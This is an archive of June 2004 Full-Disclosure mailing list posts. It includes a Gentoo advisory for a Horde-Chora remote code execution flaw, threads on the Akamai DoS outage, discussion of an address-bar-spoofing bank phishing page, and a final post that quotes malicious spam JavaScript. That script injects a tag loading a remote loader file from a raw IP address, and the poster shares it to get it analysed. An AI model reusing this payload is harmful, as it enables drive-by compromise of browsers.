     http://security.gentoo.org/glsa/glsa-200406-08.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAz0dKvcL1obalX08RArFBAKCsBVql2MknZqBZZC1KEaoH+QEFrACdFk/U
PgBs0ZO8tIQBUD/TgHlCbRA=
=Qq1y
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Yahoo upgraded all accounts to 100MB

From: randall (listsdomain-logic.com)
Date: Tue Jun 15 2004 - 14:28:19 CDT

At 11:35 AM 6/15/2004 -0500, you wrote:
>Perhaps it is for users who have been with Yahoo for a really long time? I
>just checked and mine has been upgraded to 100Mb.
>
>Actually, I wasn't too worried about it because for several months now
>their quota on my account has been broken! It always said 92% of capacity
>even when I knew I had well over the allotted quota.
>
>-joe
Go to mail.yahoo.com and see:
New to Yahoo?
<blah blah blah?
- 100MB of email storage
    Keep more of what's important to you
- Powerful spam protection
   Read only the mail you really want
- Get your mail anywhere
   All you need is a web connection
--
seems to be part of the basic offering.

Randall

Jesus is Coming! Look Busy!

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] [ GLSA 200406-09 ] Horde-Chora: Remote code execution

From: Thierry Carrez (koongentoo.org)
Date: Tue Jun 15 2004 - 14:07:19 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Gentoo Linux Security Advisory GLSA 200406-09
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
                                            http://security.gentoo.org/
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

  Severity: High
     Title: Horde-Chora: Remote code execution
      Date: June 15, 2004
      Bugs: #53800
        ID: 200406-09

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis
========

A vulnerability in Chora allows remote code execution and file upload.

Background
==========

Chora is a PHP-based SVN/CVS repository viewer by the HORDE project.

Affected packages
=================

    -------------------------------------------------------------------
     Package / Vulnerable / Unaffected
    -------------------------------------------------------------------
  1 net-www/horde-chora < 1.2.2 >= 1.2.2

Description
===========

A vulnerability in the diff viewer of Chora allows an attacker to
inject shellcode. An attacker can exploit PHP's file upload
functionality to upload a malicious binary to a vulnerable server,
chmod it as executable, and run the file.

Impact
======

An attacker could remotely execute arbitrary binaries with the
permissions of the PHP script, conceivably allowing further
exploitation of local vulnerabilities and remote root access.

Workaround
==========

There is no known workaround at this time.

Resolution
==========

All users are advised to upgrade to the latest version of Chora:

    # emerge sync

    # emerge -pv ">=net-www/horde-chora-1.2.2"
    # emerge ">=net-www/horde-chora-1.2.2"

References
==========

  [ 1 ] e-matters Advisory
        http://security.e-matters.de/advisories/102004.html

Availability
============

This GLSA and any updates to it are available for viewing at
the Gentoo Security Website:

     http://security.gentoo.org/glsa/glsa-200406-09.xml

Concerns?
=========

Security is a primary focus of Gentoo Linux and ensuring the
confidentiality and security of our users machines is of utmost
importance to us. Any security concerns should be addressed to
securitygentoo.org or alternatively, you may file a bug at
http://bugs.gentoo.org.

License
=======

Copyright 2004 Gentoo Technologies, Inc; referenced text
belongs to its owner(s).

The contents of this document are licensed under the
Creative Commons - Attribution / Share Alike license.

http://creativecommons.org/licenses/by-sa/1.0

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iD8DBQFAz0jnvcL1obalX08RAu3JAJ9L4pPK9KWtHPjcRwboktaAiMWWrgCdH4N7
oa5ogvUu/JPTpvn0ZRasxo4=
=MW7j
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] antivirus and spyware scanning

From: randall (listsdomain-logic.com)
Date: Tue Jun 15 2004 - 14:36:10 CDT

At 09:43 AM 6/15/2004 -0700, you wrote:
> > I think it is very useful to scan a windows machine
> > from viruses while having that machine booted to
> > linux. This pretty much ensures that you will find
> > all the virii on that system.
>Not necessarily. You'll have to update the virus
>signatures on your CD distribution prior to scanning,
>and that doesn't guarantee complete coverage, either.
I like to just plug the box into my network (home or office)
and scan the entire drive from another box.

If you remove a known infected drive and actually place
it into your own machine, your system is venerable until
your Antivirus software shields are up and running.

Booting from a CD may require changing BIOS settings,
or the machine may be old enough (I still come across
companies running these) that will not boot from CD.

You can also carry along your laptop and crossover cable
to scan 'on the road' without much setup.

I think a more useful setup for me (on newer machines)
would be to create a Linux bootable USB thumbdrive that
I could boot and scan from. Updating signatures would
be trivial.

randall

Blaming guns for crime is like blaming a pencil for misspelled words

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: james edwards (hackerwackercybermesa.com)
Date: Tue Jun 15 2004 - 15:44:45 CDT

> I've just been told that it was a DoS. No details.

Unlikely, Akamai is an overlay network & the root content node is not
reachable.
Akamai can in real time spread web traffic through out their global network
of
servers, diluting a DoS to the point it is not significant. It is more
likely that the
complexity of the overlay network was the cause. Last week it was a DNS
issue
and it seemed much the same this week. Provided you know the IP's of the
content servers
you would find they were still up. At least that was what I as seeing.

Here is some info on Overlay Networks:
http://nms.lcs.mit.edu/ron/
http://nms.lcs.mit.edu/ron/#papers

Dr. Andersons "Mayday: Distributed Filtering for Internet Services "
is quite interesting.
http://nms.lcs.mit.edu/papers/mayday-usits2003/paper.html

--
James H. Edwards
Routing and Security Administrator
At the Santa Fe Office: Internet at Cyber Mesa
jameshcybermesa.com
noccybermesa.com
(505) 795-7101

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Akamai

From: Brent Colflesh (Brent.ColfleshUlticom.com)
Date: Tue Jun 15 2004 - 16:30:19 CDT

"Young called it a "large scale, international attack on Internet
infrastructure." However, there was no evidence that non-Akamai
infrastructure was affected."

http://apnews.excite.com/article/20040615/D837KIU00.html

Regards,
Brent

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com]On Behalf Of james
edwards
Sent: Tuesday, June 15, 2004 4:45 PM
To: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] Akamai

> I've just been told that it was a DoS. No details.

Unlikely, Akamai is an overlay network & the root content node is not
reachable.
Akamai can in real time spread web traffic through out their global network
of
servers, diluting a DoS to the point it is not significant. It is more
likely that the
complexity of the overlay network was the cause. Last week it was a DNS
issue
and it seemed much the same this week. Provided you know the IP's of the
content servers
you would find they were still up. At least that was what I as seeing.

Here is some info on Overlay Networks:
http://nms.lcs.mit.edu/ron/
http://nms.lcs.mit.edu/ron/#papers

Dr. Andersons "Mayday: Distributed Filtering for Internet Services "
is quite interesting.
http://nms.lcs.mit.edu/papers/mayday-usits2003/paper.html

--
James H. Edwards
Routing and Security Administrator
At the Santa Fe Office: Internet at Cyber Mesa
jameshcybermesa.com
noccybermesa.com
(505) 795-7101

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

scosolscosol.org
Date: Tue Jun 15 2004 - 16:37:24 CDT

james edwards wrote:
>>I've just been told that it was a DoS. No details.
>
>
> Unlikely, Akamai is an overlay network & the root content node is not
> reachable.
> Akamai can in real time spread web traffic through out their global network
> of
> servers, diluting a DoS to the point it is not significant. It is more
> likely that the
> complexity of the overlay network was the cause. Last week it was a DNS
> issue
> and it seemed much the same this week.

I don't think so- yeah a DOS against the content nodes isn't gonna do
much but a DOS against their nameservers is fully workable.

--
"jupiter accepts your offer"
AIM: IMFDUP
http://www.scosol.org/

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Akamai

From: Chris Carlson (chriscompucounts.com)
Date: Tue Jun 15 2004 - 16:47:07 CDT

http://www.washingtonpost.com/wp-dyn/articles/A43635-2004Jun15.html

Need to register, but it's no hassle.
I'd mirror to my server, but copyright blah blah blah.

Anyone have any more info?

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of
> james edwards
> Sent: Tuesday, June 15, 2004 16:45
> To: full-disclosurelists.netsys.com
> Subject: Re: [Full-Disclosure] Akamai
>
> > I've just been told that it was a DoS. No details.
>
> Unlikely, Akamai is an overlay network & the root content
> node is not reachable.
> Akamai can in real time spread web traffic through out their
> global network of servers, diluting a DoS to the point it is
> not significant. It is more likely that the complexity of the
> overlay network was the cause. Last week it was a DNS issue
> and it seemed much the same this week. Provided you know the
> IP's of the content servers you would find they were still
> up. At least that was what I as seeing.
>
> Here is some info on Overlay Networks:
> http://nms.lcs.mit.edu/ron/
> http://nms.lcs.mit.edu/ron/#papers
>
> Dr. Andersons "Mayday: Distributed Filtering for Internet Services "
> is quite interesting.
> http://nms.lcs.mit.edu/papers/mayday-usits2003/paper.html
>
> --
> James H. Edwards
> Routing and Security Administrator
> At the Santa Fe Office: Internet at Cyber Mesa
> jameshcybermesa.com noccybermesa.com
> (505) 795-7101
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Ben Nelson (listsvenom600.org)
Date: Tue Jun 15 2004 - 16:44:29 CDT

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Keep in mind that the term 'DOS' doesn't necessarily mean 'flood of
traffic'. A denial of service is just that......a _denial of service_
by any means, and I'd say that there was definitlely some service being
denied. Don't think so?.....ask Google or Yahoo.

- --Ben

james edwards wrote:
|>I've just been told that it was a DoS. No details.
|
|
| Unlikely, Akamai is an overlay network & the root content node is not
| reachable.
| Akamai can in real time spread web traffic through out their global
network
| of
| servers, diluting a DoS to the point it is not significant. It is more
| likely that the
| complexity of the overlay network was the cause. Last week it was a DNS
| issue
| and it seemed much the same this week. Provided you know the IP's of the
| content servers
| you would find they were still up. At least that was what I as seeing.
|
| Here is some info on Overlay Networks:
| http://nms.lcs.mit.edu/ron/
| http://nms.lcs.mit.edu/ron/#papers
|
| Dr. Andersons "Mayday: Distributed Filtering for Internet Services "
| is quite interesting.
| http://nms.lcs.mit.edu/papers/mayday-usits2003/paper.html
|
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.4 (GNU/Linux)

iD8DBQFAz2293cL8qXKvzcwRAljLAJ9cRyIW3pK0pGgjwVjkO8RXhztMwwCg8ql6
hqZiM20cOQ6cdosafHeexic=
=YmGu
-----END PGP SIGNATURE-----

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] US Bank scam

From: Hamby, Charles D. (pfcdh1matsu.alaska.edu)
Date: Tue Jun 15 2004 - 16:54:57 CDT

This is a slick phishing scam, I have to admit. One thing I noticed
though;
I printed the various pages of the website out with IE to use as an
example and I noticed that the real URL appeared at the bottom of each
page as opposed to the bogus one. I thought that was interesting. Has
anyone else
noticed that this occurs with other phishing sites or is it just unique
to this case?

Charles Hamby

-----Original Message-----
From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure-adminlists.netsys.com] On Behalf Of Eric
LeBlanc
Sent: Tuesday, June 15, 2004 9:59 AM
To: full-disclosurelists.netsys.com
Subject: [SPAM] - Re: [Full-Disclosure] US Bank scam - Email found in
subject

On Tue, 15 Jun 2004, David Lederman wrote:

> This is the best phishing scam I've seen yet:
> http://www.bis1bp.com/a12/index.html
>
> I have Windows Server 2003 fully patched and this works. The program
fakes an address bar so this
> would pass through most people's safety check, after all the address
bar clearly has the correct
> address.
>
> There are bugs in the code, for example, all your Internet Explorer
windows will now have this
> address, but again for most people would only have one window open.
>

If you have google's toolbar or something similar, it will overwrite
this
toolbar and not the address bar.

But, I must admit that this thing is ingenious !

E.
--
Eric LeBlanc
inoukigt.net
--------------------------------------------------
UNIX is user friendly.
It's just selective about who its friends are.
==================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: james edwards (hackerwackercybermesa.com)
Date: Tue Jun 15 2004 - 16:43:49 CDT

Akamai is saying their DNS continued to work.

http://www.theregister.co.uk/2004/06/15/akamai_goes_postal/

Akamai has got back to us to explain that the problem stemmed from what a
spokesman called a "large scale international attack on the Internet's
infrastructure". Akamai said the attack was primarily aimed at the large
search engines - of which it runs the three largest, Yahoo!, Google and
Lycos - which meant that people were unable to access the sites.

The spokesman denied however that it was an outage and ****said that the
Akamai name service continued to function throughout the attack**** which
ended around two hours later.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] US Bank scam

From: Peter B. Harvey (Information Security) (peterharveyemergency.qld.gov.au)
Date: Tue Jun 15 2004 - 17:30:47 CDT

Couple of notes,

First the page is not encrypted.

Second the overlay stays on top when you switch windows. At the moment it is sitting in the middle of the email i am typing.

However a novice to computer scams could be fooled quite easily by this. Impressive.

Peter
____________________________________________
Peter Harvey
Information Security Officer
Dept. Emergency Services - QLD
Phone: +61 7 3109 7292
____________________________________________

-----Original Message-----
From: Eric LeBlanc [mailto:inoukigt.net]
Sent: Wednesday, June 16, 2004 3:59 AM
To: full-disclosurelists.netsys.com
Subject: Re: [Full-Disclosure] US Bank scam

On Tue, 15 Jun 2004, David Lederman wrote:

> This is the best phishing scam I've seen yet:
> http://www.bis1bp.com/a12/index.html
>
> I have Windows Server 2003 fully patched and this works. The program fakes an address bar so this
> would pass through most people's safety check, after all the address bar clearly has the correct
> address.
>
> There are bugs in the code, for example, all your Internet Explorer windows will now have this
> address, but again for most people would only have one window open.
>

If you have google's toolbar or something similar, it will overwrite this
toolbar and not the address bar.

But, I must admit that this thing is ingenious !

E.
--
Eric LeBlanc
inoukigt.net
--------------------------------------------------
UNIX is user friendly.
It's just selective about who its friends are.
==================================================

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

This correspondence is for the named persons only.
It may contain confidential or privileged information or both.
No confidentiality or privilege is waived or lost by any mis transmission.
If you receive this correspondence in error please delete it from your system immediately and notify the sender.
You must not disclose, copy or relay on any part of this correspondence, if you are not the intended recipient.
Any opinions expressed in this message are those of the individual sender except where the sender expressly,
and with the authority, states them to be the opinions of the Department of Emergency Services, Queensland.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: james edwards (hackerwackercybermesa.com)
Date: Tue Jun 15 2004 - 17:20:53 CDT

> "Young called it a "large scale, international attack on Internet
> infrastructure." However, there was no evidence that non-Akamai
> infrastructure was affected."
>
> http://apnews.excite.com/article/20040615/D837KIU00.html
>
> Regards,
> Brent

With an attack of this indicated size, there are always choke points
just prior to the DoS traffic hitting the intended hosts. These choke points
tend to be NAP's or IX'es. The real harm gets done at these points, where
the DoS converges. So far no one has spoken up on NANOG with issues
at NAP's or IX'es. With the last big DDoS of the DNS root's the roots never
when down;
it was the access points just prior to the root that took the beating. I had
no problems with
any east or west coast NAP's or IX'es this morning nor were any problems
reported on NANOG.

james

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: james edwards (hackerwackercybermesa.com)
Date: Tue Jun 15 2004 - 18:06:54 CDT

> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
>
> Keep in mind that the term 'DOS' doesn't necessarily mean 'flood of
> traffic'. A denial of service is just that......a _denial of service_
> by any means, and I'd say that there was definitlely some service being
> denied. Don't think so?.....ask Google or Yahoo.
>
> - --Ben

Actually I did not sat this part:

>
> james edwards wrote:
> |>I've just been told that it was a DoS. No details.

I would agree that a DoS can be many things. But if you are able to read for
context
it is clear the below is speaking of a DoS in the flood of traffic context.

This part is me:

> |
> |
> | Unlikely, Akamai is an overlay network & the root content node is not
> | reachable.
> | Akamai can in real time spread web traffic through out their global
> network
> | of
> | servers, diluting a DoS to the point it is not significant. It is more
> | likely that the
> | complexity of the overlay network was the cause. Last week it was a DNS
> | issue
> | and it seemed much the same this week. Provided you know the IP's of the
> | content servers
> | you would find they were still up. At least that was what I as seeing.
> |
> | Here is some info on Overlay Networks:
> | http://nms.lcs.mit.edu/ron/
> | http://nms.lcs.mit.edu/ron/#papers
> |
> | Dr. Andersons "Mayday: Distributed Filtering for Internet Services "
> | is quite interesting.
> | http://nms.lcs.mit.edu/papers/mayday-usits2003/paper.html
> |
> -----BEGIN PGP SIGNATURE-----
> Version: GnuPG v1.2.4 (GNU/Linux)
>
> iD8DBQFAz2293cL8qXKvzcwRAljLAJ9cRyIW3pK0pGgjwVjkO8RXhztMwwCg8ql6
> hqZiM20cOQ6cdosafHeexic=
> =YmGu
> -----END PGP SIGNATURE-----
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: james edwards (hackerwackercybermesa.com)
Date: Tue Jun 15 2004 - 18:21:07 CDT

>
> I don't think so- yeah a DOS against the content nodes isn't gonna do
> much but a DOS against their nameservers is fully workable.

Akamai seems to be saying the NS was functioning:

The spokesman denied however that it was an outage and ****said that the
Akamai name service continued to function throughout the attack**** which
ended around two hours later.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] Akamai

From: Bob Beringer (bob.beringerusa.net)
Date: Tue Jun 15 2004 - 18:38:08 CDT

All,

Just found this site: http://bugmenot.com/
It will help you bypass registration, if you would like :-)

v/r
Bob Beringer

"Chris Carlson" <chriscompucounts.com> wrote:

http://www.washingtonpost.com/wp-dyn/articles/A43635-2004Jun15.html

Need to register, but it's no hassle.
I'd mirror to my server, but copyright blah blah blah.

Anyone have any more info?

> -----Original Message-----
> From: full-disclosure-adminlists.netsys.com
> [mailto:full-disclosure-adminlists.netsys.com] On Behalf Of
> james edwards
> Sent: Tuesday, June 15, 2004 16:45
> To: full-disclosurelists.netsys.com
> Subject: Re: [Full-Disclosure] Akamai
>
> > I've just been told that it was a DoS. No details.
>
> Unlikely, Akamai is an overlay network & the root content
> node is not reachable.
> Akamai can in real time spread web traffic through out their
> global network of servers, diluting a DoS to the point it is
> not significant. It is more likely that the complexity of the
> overlay network was the cause. Last week it was a DNS issue
> and it seemed much the same this week. Provided you know the
> IP's of the content servers you would find they were still
> up. At least that was what I as seeing.
>
> Here is some info on Overlay Networks:
> http://nms.lcs.mit.edu/ron/
> http://nms.lcs.mit.edu/ron/#papers
>
> Dr. Andersons "Mayday: Distributed Filtering for Internet Services "
> is quite interesting.
> http://nms.lcs.mit.edu/papers/mayday-usits2003/paper.html
>
> --
> James H. Edwards
> Routing and Security Administrator
> At the Santa Fe Office: Internet at Cyber Mesa
> jameshcybermesa.com noccybermesa.com
> (505) 795-7101
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.netsys.com/full-disclosure-charter.html
>
>

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] US Bank scam

From: Scott Dodson (sdodsonsdodson.com)
Date: Tue Jun 15 2004 - 18:24:54 CDT

-----Original Message-----
>From: full-disclosure-adminlists.netsys.com
[mailto:full-disclosure->adminlists.netsys.com] On Behalf Of David
Lederman
>Sent: Tuesday, June 15, 2004 12:30 PM
>To: full-disclosurelists.netsys.com
>Subject: [Full-Disclosure] US Bank scam
>
>This is the best phishing scam I've seen yet:
>http://www.bis1bp.com/a12/index.html
>
>I have Windows Server 2003 fully patched and this works. The program
fakes >an address bar so this
>would pass through most people's safety check, after all the address
bar >clearly has the correct
>address.

>There are bugs in the code, for example, all your Internet Explorer
windows >will now have this
>address, but again for most people would only have one window open.
>

With XP SP2 build 2149 (RC2) it shows up immediately below the address
bar.

http://www.sdodson.com/phishing.jpg for a view.

--
Scott

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] RE: Internet Explorer Remote Null Pointer Crash(mshtml.dll)

http-equivexcite.com
Date: Tue Jun 15 2004 - 19:12:11 CDT

This is all incorrect.

1. Any unusual characters in a file name will automatically be
converted to random digits. This has been tested and
demonstrated since 2001.

2. 'Save target' and an invoked download whether automatic or
manually cannot be the same. Simple logic right click on a
15MB .mp3 and 'save target' and you don't wait hours for this
to occur. Neither does forcing the download which only downloads
the html or php or script or whatever trick is used initially to
auto download nor does directly invoking the download [clicking
on the file. Regardless of the way nothing is written.

3. Clearly what's being 'confused' here is with a frame which
does write the file and which cannot be combined with this
scenario for all the reasons above.

4. document.execCommand('SaveAs',false,'::%7b') also doesn't do
anything.

We may actually have to roll up our sleeves and get our soft
little hands dirty to solve this one what.

--
http://www.malware.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] US Bank scam

From: Nick FitzGerald (nickvirus-l.demon.co.uk)
Date: Tue Jun 15 2004 - 20:03:14 CDT

"Hamby, Charles D." <pfcdh1matsu.alaska.edu> wrote:

> This is a slick phishing scam, I have to admit. ...

It's been around for a month or more, so it may be slick, but it's not
new... Back on 13 May Drew Copley from eEye posted the following to
Bugtraq about it:

   http://www.securityfocus.com/archive/1/363326

   http://www.securityfocus.com/archive/1/363350

It is listed as BID 10346 at securityfocus:

   http://www.securityfocus.com/bid/10346

> ... One thing I noticed
> though;
> I printed the various pages of the website out with IE to use as an
> example and I noticed that the real URL appeared at the bottom of each
> page as opposed to the bogus one. I thought that was interesting. Has
> anyone else
> noticed that this occurs with other phishing sites or is it just unique
> to this case?

For pity's sake -- did you not even look at the page sources to see how
it works??

It slaps a fake URL window over roughly the screen area where the real
URL is still displayed in the address bar. This is _NOT_ a case of
"true" spoofing (in the sense that the browser is fooled -- note for
one that the "https padlock" is not present; IE knows it is not at an
https URL), so why would you think that IE might print the "spoofed"
URL in printed headers/footers?

The spoofing here is of the social engineering type. Clearly all those
who have posted to the list so far commenting how effecitve this is are
not the types to immediately notice the horrible, and to me immediately
noticeable, two or three pixel offset of the faked URL window...

Finally, this is the kind of problem that is relatively easily guarded
against (though not entirely protected from) by running non-default
configurations. To the extent you have the Address bar in IE
positioned somewhere other than where the default locationj is, this
"trick" becomes horribly obvious, so long as your users have the
requisite clue count...

(And yes, there are other ways to do this that are not so easily fooled
as to show themselves by simply moving the Address bar, and these have
reputedly already been used in some phishing scams -- see commentary in
Drew's archived posts, linked above.)

--
Nick FitzGerald
Computer Virus Consulting Ltd.
Ph/FAX: +64 3 3529854

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: scosol (scosolscosol.org)
Date: Tue Jun 15 2004 - 20:36:13 CDT

james edwards wrote:

>>I don't think so- yeah a DOS against the content nodes isn't gonna do
>>much but a DOS against their nameservers is fully workable.
>
>
> Akamai seems to be saying the NS was functioning:
>
> The spokesman denied however that it was an outage and ****said that the
> Akamai name service continued to function throughout the attack**** which
> ended around two hours later.

That's BS-

See these Symantec and Apple graphs- the outage was clearly at the DNS
level:

http://anon.scosol.speedera.net/anon.scosol/apple_outage.png
http://anon.scosol.speedera.net/anon.scosol/symantec_outage.png

It's my 24/7 job to monitor Akamai :)

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] US Bank scam

From: Nick FitzGerald (nickvirus-l.demon.co.uk)
Date: Tue Jun 15 2004 - 20:54:04 CDT

"Scott Dodson" <sdodsonsdodson.com> wrote:

> With XP SP2 build 2149 (RC2) it shows up immediately below the address
> bar.

Yes -- XP SP2 includes a lot of fixes for IE, such as preventing it
drawing client windows over parts of the standard interface,
limitations on chromeless windows and so on...

--
Nick FitzGerald
Computer Virus Consulting Ltd.
Ph/FAX: +64 3 3529854

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

From: Darren Reed (avaloncaligula.anu.edu.au)
Date: Tue Jun 15 2004 - 20:53:23 CDT

> "Young called it a "large scale, international attack on Internet
> infrastructure." However, there was no evidence that non-Akamai
> infrastructure was affected."
>
> http://apnews.excite.com/article/20040615/D837KIU00.html
>
> Regards,
> Brent

I curious to know if organised crime was involved or was it
some rogue hacker/group or just a technical glitch?

Reports say the attacked stopped after ~2 hours but why?

Someone must have "called it off" but in response to what?

If so, was it just a demonstration of "power" or something else?

After reading about extortion attempts by various groups that use
DoS tactics to impact web sales, clearly the nature of all DoS
attacks against large sites must be looked at in more depth to
get a good picture of what is happening.

This is a whole new play ground for organised crime, mostly thanks
to Microsoft. You've got millions of PC's around the world that
are largely, in one way or another, susceptible to computer virii,
making them open targets for use as minions. And the perfect seed
for spreading them is the databases of email addresses used by
spammers...

What's interesting is that in contrast to old-school protection
rackets, there appears to be no offering of protection from attack
by others.

Darren

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] Akamai

tcleary2csc.com.au
Date: Tue Jun 15 2004 - 23:55:23 CDT

Darren Reed said:

>What's interesting is that in contrast to old-school protection
>rackets, there appears to be no offering of protection from attack
>by others.

IIRC the main purpose of DoS attacks ( apart from kiddie fights )
is to allow a trust exploit/MITM to succeed - e.g. session hijacking.

Maybe someone wanted to plant something by pretending to be the
WindowsUpdate site?

If you're akamamai'd, poisoning DNS would be harder, but changing
IP address wouldn't seem unusual, would it?

Regards,

tom.

----------------------------------------------------------------------------------------
Tom Cleary - Security Architect

"In IT, acceptable solutions depend upon humans - Computers don't
negotiate."
----------------------------------------------------------------------------------------
This is a PRIVATE message. If you are not the intended recipient, please
delete without copying and kindly advise us by e-mail of the mistake in
delivery. NOTE: Regardless of content, this e-mail shall not operate to
bind CSC to any order or other contract unless pursuant to explicit
written agreement or government initiative expressly permitting the use of
e-mail for such purpose.
----------------------------------------------------------------------------------------

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
RE: [Full-Disclosure] US Bank scam

wszumeraborgwarner.com
Date: Tue Jun 15 2004 - 23:37:54 CDT

> -----Original Message-----
> From: David Lederman [mailto:delphi4proyahoo.com]
> Sent: Tuesday, June 15, 2004 12:30 PM
> To: full-disclosurelists.netsys.com
> Subject: [Full-Disclosure] US Bank scam
>
>
> This is the best phishing scam I've seen yet:
> http://www.bis1bp.com/a12/index.html
>
> I have Windows Server 2003 fully patched and this works. The
> program fakes an address bar so this
> would pass through most people's safety check, after all the
> address bar clearly has the correct
> address.
>
> There are bugs in the code, for example, all your Internet
> Explorer windows will now have this
> address, but again for most people would only have one window open.
>

If you drag the explorer window around a bit, the address bar lags behind.
W

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] Akamai DoS - insider job?

From: Feher Tamas (etomcatfreemail.hu)
Date: Wed Jun 16 2004 - 05:09:05 CDT

http://www.overclockersclub.com/?read=8733819

The Akamai attacks started in the morning and it was detected by
Keynote Systems, a web tracking company that is able to track the load
and bandwidth on the Internet. According to Keynote they saw
an "Internet performance issue" this morning
...
They have tracked the attacker back to person that is at the Akamai
Technologies ISP. No other information has been given to us at this
time. We do not know if the FBI is working on this issue right now, but
we expect them to do so.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
[Full-Disclosure] spamming trojan?

From: Geo. (geoincidentsnls.net)
Date: Wed Jun 16 2004 - 07:23:59 CDT

Received a spam this morning claiming I have a voicemail with the link
(warning do not click the link)

http:-//www-1voicemailbox-net/voicemail/ (dashes added by me)

which brings up a frames based page with one of the frames containing this

    function InjectedDuringRedirection(){

 showModalDialog('md.htm',window,"dialogTop:-10000\;dialogLeft:-10000\;dialo
gHeight:1\;dialogWidth:1\;").location="javascript:'<SCRIPT
SRC=\\'http://219.234.95.124/vbox/shellscript_loader.js\\'><\/script>'";

Anyone want to try and analyze what this thing is? It was spammed to about
30 addresses here this morning.

Geo.

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html

 
Re: [Full-Disclosure] spamming trojan?

